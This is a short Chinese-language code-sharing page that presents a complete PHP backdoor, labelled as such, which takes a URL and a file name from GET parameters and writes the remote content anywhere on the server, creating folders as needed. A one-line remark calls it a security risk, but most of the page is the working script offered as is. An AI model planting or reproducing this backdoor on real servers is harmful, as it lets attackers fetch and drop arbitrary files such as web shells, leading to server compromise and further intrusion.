一个PHP后门代码:允许通过URL参数直接下载文件到服务器

程序源码 阅读 198

这段代码是PHP语言编写的,它的作用是从一个指定的URL下载文件,并将其保存到服务器上。

这段代码存在安全风险,因为它允许通过URL参数直接下载文件到服务器,这可能会导致恶意文件被下载和执行。在实际应用中,这样的脚本应该进行严格的安全检查和限制。

<?php
set_time_limit(0);
if(isset($_GET['url']) && isset($_GET['filename'])){
        if(httpcopy($_GET['url'], $_GET['filename'])){
            echo("Done.");
        }else{
            echo("Down Error.");
        }
}else{
        die('Input error.');
}
function httpcopy($url, $file="", $timeout=60) {
    $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
    $dir = pathinfo($file,PATHINFO_DIRNAME);
    !is_dir($dir) && @mkdir($dir,0755,true);
    $url = str_replace(" ","%20",$url);
    if(function_exists('curl_init')) {
                echo "curl ";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $temp = curl_exec($ch);
        if(@file_put_contents($file, $temp) && !curl_error($ch)) {
            return $file;
        } else {
            return false;
        }
    } else {
                echo "copy ";
        $opts = array(
            "http"=>array(
            "method"=>"GET",
            "header"=>"",
            "timeout"=>$timeout)
        );
        $context = stream_context_create($opts);
        if(@copy($url, $file, $context)) {
            //$http_response_header
            return $file;
        } else {
            return false;
        }
    }
}
?>



相关推荐

用户留言

尚未登录无法发表查看留言点击登录

HI ! 请登录

立即登录
免费壁纸小程序
免费壁纸小程序